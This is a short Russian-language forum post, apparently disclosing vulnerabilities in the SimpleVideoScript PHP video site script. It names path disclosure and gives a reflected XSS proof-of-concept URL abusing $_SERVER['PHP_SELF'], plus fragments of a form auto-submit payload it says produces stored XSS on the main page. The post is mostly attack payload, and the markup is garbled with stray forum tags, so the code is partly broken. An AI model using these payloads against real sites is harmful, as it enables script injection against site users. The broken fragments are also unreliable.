SimpleVideoScript (на данный момент последняя версия)

Оф. сайт: http://www.bonkenscripts.com/

Раскрытие путей:

пассивная xss через $_SERVER['PHP_SELF'] в шаблоне

[CODE]
http://127.0.0.1/video/index.php/'>alert(/xss/)alert(/xss/)

alert(/hello world/)"[/COLOR]name="domain">

document.forms["form"].submit();





[/COLOR]
[/PHP]
то получим активную xss на главной